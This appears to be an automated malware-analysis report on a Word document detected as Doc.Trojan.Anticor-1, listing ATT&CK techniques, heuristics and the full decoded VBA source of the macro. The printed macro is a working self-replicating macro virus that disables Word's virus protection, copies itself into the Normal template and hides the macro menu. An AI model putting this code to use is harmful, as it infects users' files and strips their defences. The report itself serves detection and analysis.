MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1137.001 DLL Search Order Hijacking
The sample contains a VBA macro that executes upon opening the document. This macro exports embedded content to 'c:\dos300.dll' and attempts to establish persistence by writing a value to the registry key HKEY_LOCAL_MACHINE/Software/Microsoft/Office/AntiCor. The ClamAV detection 'Doc.Trojan.Anticor-1' further supports the malicious nature of this file.
Heuristics 3
-
ClamAV: Doc.Trojan.Anticor-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Anticor-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1437 bytes |
SHA-256: 8227177715da0c523955c6966554d3de38fa9c99c776b1d58a61e6aa653c5ca0 |
|||
|
Detection
ClamAV:
Doc.Trojan.Anticor-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set o = Options
o.VirusProtection = (Rnd * 0): o.SaveNormalPrompt = (Rnd * 0)
o.confirmconversion = (Rnd * 0)
If System.ProfileString("HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") <> "AntiCor" Then
GoTo SaberI
End If
SaberI:
ThisDocument.VBProject.VBComponents(1).Export ("c:\dos300.dll")
If CommandBars("Tools").Controls("Macro").Visible = True Then
Set this = ThisDocument.VBProject.VBComponents(1).CodeModule
Set x = NormalTemplate.VBProject
Set x2 = x.VBComponents(1).CodeModule
End If
Set y = ActiveDocument.VBProject
Set y2 = y.VBComponents(1).CodeModule
CommandBars("Tools").Controls("Macro").Visible = False
Set nlin = x2.CountOfLines
Set alin = y2.CountOfLines
If nlin < this.CountOfLines Then
x2.AddFromFile ("c:\dos300.dll")
x2.deletelines 1, 4
Else
If alin < this.CountOfLines Then
y2.AddFromFile ("c:\dos300.dll")
y2.deletelines 1, 4
End If
End If
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE/Software/Microsoft/Office/", "AntiCor") = "AntiCor"
'WM2000/WM97 - AntiCoruption by ImPU1s3
'Greetinz to membaz of EvilNet Inc.
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.